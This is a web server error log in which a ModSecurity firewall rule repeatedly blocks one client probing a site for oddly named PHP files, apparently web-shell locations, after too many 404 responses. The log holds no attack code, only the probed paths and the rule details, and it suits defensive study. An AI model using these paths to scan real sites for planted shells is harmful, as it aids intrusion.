[Fri Feb 27 15:42:20.617353 2026] [:error] [pid 49306:tid 49332] [client 52.169.148.186:2625] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFK3PnSUDZue59Px9tnoQAAAVg"]
[Fri Feb 27 15:42:21.116541 2026] [:error] [pid 49306:tid 49318] [client 52.169.148.186:3425] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFK3fnSUDZue59Px9tnogAAAUo"]
[Fri Feb 27 15:42:21.650695 2026] [:error] [pid 49306:tid 49321] [client 52.169.148.186:11620] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftyude.php"] [unique_id "aaFK3fnSUDZue59Px9tnpQAAAU0"]
[Fri Feb 27 15:42:22.190007 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:6709] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftyude.php"] [unique_id "aaFK3oa650YPyxXVeRZTDwAAAY8"]
[Fri Feb 27 15:42:22.703551 2026] [:error] [pid 52073:tid 52076] [client 52.169.148.186:3443] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftyude.php"] [unique_id "aaFK3oa650YPyxXVeRZTEQAAAYA"]
[Fri Feb 27 15:42:23.208907 2026] [:error] [pid 52073:tid 52099] [client 52.169.148.186:7791] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftyude.php"] [unique_id "aaFK34a650YPyxXVeRZTFAAAAZc"]
[Fri Feb 27 15:42:23.710112 2026] [:error] [pid 54231:tid 54255] [client 52.169.148.186:7792] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aaFK3-Tvb5AeyJCdY7DIwwAAAFU"]
[Fri Feb 27 15:42:24.214910 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:2558] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aaFK4Ia650YPyxXVeRZTHAAAAZE"]
[Fri Feb 27 15:42:24.716077 2026] [:error] [pid 52073:tid 52096] [client 52.169.148.186:10926] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aaFK4Ia650YPyxXVeRZTIQAAAZQ"]
[Fri Feb 27 15:42:25.270384 2026] [:error] [pid 49306:tid 49325] [client 52.169.148.186:1652] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aaFK4fnSUDZue59Px9tnpwAAAVE"]
[Fri Feb 27 15:42:25.777306 2026] [:error] [pid 54101:tid 54118] [client 52.169.148.186:11702] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "aaFK4VY5qgRktcYTGFsdoQAAAco"]
[Fri Feb 27 15:42:26.277771 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:1604] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "aaFK4oa650YPyxXVeRZTJgAAAYw"]
[Fri Feb 27 15:42:26.813586 2026] [:error] [pid 56075:tid 56083] [client 52.169.148.186:10187] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "aaFK4sKBhrfI6KNv9RgdLgAAAAY"]
[Fri Feb 27 15:42:27.340404 2026] [:error] [pid 56075:tid 56101] [client 52.169.148.186:18025] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "aaFK48KBhrfI6KNv9RgdMgAAABc"]
[Fri Feb 27 15:42:27.893931 2026] [:error] [pid 56075:tid 56090] [client 52.169.148.186:11640] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaFK48KBhrfI6KNv9RgdMwAAAAw"]
[Fri Feb 27 15:42:28.400827 2026] [:error] [pid 52073:tid 52090] [client 52.169.148.186:7797] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaFK5Ia650YPyxXVeRZTMQAAAY4"]
[Fri Feb 27 15:42:28.925279 2026] [:error] [pid 49306:tid 49319] [client 52.169.148.186:10236] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaFK5PnSUDZue59Px9tnqAAAAUs"]
[Fri Feb 27 15:42:29.448998 2026] [:error] [pid 54102:tid 54165] [client 52.169.148.186:3433] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaFK5Xi74D4fiYUm_GdEOQAAAJU"]
[Fri Feb 27 15:42:29.949202 2026] [:error] [pid 62998:tid 63001] [client 52.169.148.186:4871] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaFK5VQeueXZDUmoLonm0AAAAQA"]
[Fri Feb 27 15:42:30.464046 2026] [:error] [pid 62998:tid 63023] [client 52.169.148.186:7775] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaFK5lQeueXZDUmoLonm0wAAARU"]
[Fri Feb 27 15:42:30.982320 2026] [:error] [pid 62998:tid 63019] [client 52.169.148.186:6613] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaFK5lQeueXZDUmoLonm1AAAARE"]
[Fri Feb 27 15:42:31.511401 2026] [:error] [pid 62998:tid 63002] [client 52.169.148.186:4714] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaFK51QeueXZDUmoLonm1gAAAQE"]
[Fri Feb 27 15:42:32.011322 2026] [:error] [pid 62998:tid 63009] [client 52.169.148.186:1922] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aaFK6FQeueXZDUmoLonm2gAAAQc"]
[Fri Feb 27 15:42:32.510417 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:4722] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aaFK6Ia650YPyxXVeRZTMwAAAZE"]
[Fri Feb 27 15:42:33.010507 2026] [:error] [pid 49306:tid 49320] [client 52.169.148.186:1937] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aaFK6fnSUDZue59Px9tnqgAAAUw"]
[Fri Feb 27 15:42:33.515597 2026] [:error] [pid 49306:tid 49309] [client 52.169.148.186:11586] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x.php"] [unique_id "aaFK6fnSUDZue59Px9tnqwAAAUE"]
[Fri Feb 27 15:42:34.019054 2026] [:error] [pid 56075:tid 56094] [client 52.169.148.186:1928] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaFK6sKBhrfI6KNv9RgdOwAAABA"]
[Fri Feb 27 15:42:34.521339 2026] [:error] [pid 54103:tid 54185] [client 52.169.148.186:15039] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaFK6uvG4MPCmE0B2sBw5QAAAM4"]
[Fri Feb 27 15:42:35.028647 2026] [:error] [pid 54103:tid 54193] [client 52.169.148.186:2161] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaFK6-vG4MPCmE0B2sBw5wAAANY"]
[Fri Feb 27 15:42:35.529531 2026] [:error] [pid 49306:tid 49317] [client 52.169.148.186:11708] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaFK6_nSUDZue59Px9tnrQAAAUk"]
[Fri Feb 27 15:42:36.034932 2026] [:error] [pid 49306:tid 49314] [client 52.169.148.186:3452] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaFK7PnSUDZue59Px9tnsAAAAUY"]
[Fri Feb 27 15:42:36.535175 2026] [:error] [pid 49306:tid 49323] [client 52.169.148.186:6706] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaFK7PnSUDZue59Px9tnswAAAU8"]
[Fri Feb 27 15:42:37.038026 2026] [:error] [pid 49306:tid 49330] [client 52.169.148.186:1605] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaFK7fnSUDZue59Px9tntAAAAVY"]
[Fri Feb 27 15:42:37.545276 2026] [:error] [pid 52073:tid 52089] [client 52.169.148.186:3428] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaFK7Ya650YPyxXVeRZTPQAAAY0"]
[Fri Feb 27 15:42:38.048865 2026] [:error] [pid 49306:tid 49308] [client 52.169.148.186:3396] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zr.php"] [unique_id "aaFK7vnSUDZue59Px9tntgAAAUA"]
[Fri Feb 27 15:42:38.559950 2026] [:error] [pid 52073:tid 52086] [client 52.169.148.186:3901] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zr.php"] [unique_id "aaFK7oa650YPyxXVeRZTPwAAAYo"]
[Fri Feb 27 15:42:39.064400 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:19042] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zr.php"] [unique_id "aaFK74a650YPyxXVeRZTQQAAAZE"]
[Fri Feb 27 15:42:39.569131 2026] [:error] [pid 52073:tid 52078] [client 52.169.148.186:2142] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zr.php"] [unique_id "aaFK74a650YPyxXVeRZTRgAAAYI"]
[Fri Feb 27 15:42:40.094789 2026] [:error] [pid 54231:tid 54234] [client 52.169.148.186:3451] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaFK8OTvb5AeyJCdY7DIzQAAAEA"]
[Fri Feb 27 15:42:40.620236 2026] [:error] [pid 52073:tid 52082] [client 52.169.148.186:3891] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaFK8Ia650YPyxXVeRZTRwAAAYY"]
[Fri Feb 27 15:42:41.141452 2026] [:error] [pid 52073:tid 52094] [client 52.169.148.186:6819] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaFK8Ya650YPyxXVeRZTSAAAAZI"]
[Fri Feb 27 15:42:41.646506 2026] [:error] [pid 49306:tid 49324] [client 52.169.148.186:14672] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aaFK8fnSUDZue59Px9tnuQAAAVA"]
[Fri Feb 27 15:42:42.158323 2026] [:error] [pid 62998:tid 63021] [client 52.169.148.186:3406] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aaFK8lQeueXZDUmoLonm5wAAARM"]
[Fri Feb 27 15:42:42.668939 2026] [:error] [pid 49306:tid 49315] [client 52.169.148.186:1946] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aaFK8vnSUDZue59Px9tnvwAAAUc"]
[Fri Feb 27 15:42:43.200033 2026] [:error] [pid 54101:tid 54127] [client 52.169.148.186:4706] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aaFK81Y5qgRktcYTGFsdqwAAAdM"]
[Fri Feb 27 15:42:43.700336 2026] [:error] [pid 54101:tid 54113] [client 52.169.148.186:3884] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1a.php"] [unique_id "aaFK81Y5qgRktcYTGFsdrQAAAcU"]
[Fri Feb 27 15:42:44.203599 2026] [:error] [pid 52073:tid 52100] [client 52.169.148.186:17203] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaFK9Ia650YPyxXVeRZTSgAAAZg"]
[Fri Feb 27 15:42:44.715121 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:1925] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaFK9Ia650YPyxXVeRZTSwAAAYw"]
[Fri Feb 27 15:42:45.254128 2026] [:error] [pid 52073:tid 52093] [client 52.169.148.186:2133] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaFK9Ya650YPyxXVeRZTTgAAAZE"]
[Fri Feb 27 15:42:46.037748 2026] [:error] [pid 52073:tid 52078] [client 52.169.148.186:17187] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaFK9oa650YPyxXVeRZTUgAAAYI"]
[Fri Feb 27 15:42:46.546657 2026] [:error] [pid 49306:tid 49312] [client 52.169.148.186:6707] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leu.php"] [unique_id "aaFK9vnSUDZue59Px9tnxwAAAUQ"]
[Fri Feb 27 15:42:47.055209 2026] [:error] [pid 49306:tid 49326] [client 52.169.148.186:2172] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leu.php"] [unique_id "aaFK9_nSUDZue59Px9tnyQAAAVI"]
[Fri Feb 27 15:42:47.559619 2026] [:error] [pid 56075:tid 56093] [client 52.169.148.186:1626] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leu.php"] [unique_id "aaFK98KBhrfI6KNv9RgdPAAAAA8"]
[Fri Feb 27 15:42:48.070300 2026] [:error] [pid 54103:tid 54173] [client 52.169.148.186:2683] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leu.php"] [unique_id "aaFK-OvG4MPCmE0B2sBw7AAAAMI"]
[Fri Feb 27 15:42:48.600785 2026] [:error] [pid 62998:tid 63025] [client 52.169.148.186:9268] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aaFK-FQeueXZDUmoLonm9QAAARc"]
[Fri Feb 27 15:42:49.127989 2026] [:error] [pid 54101:tid 54110] [client 52.169.148.186:17364] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aaFK-VY5qgRktcYTGFsdrwAAAcI"]
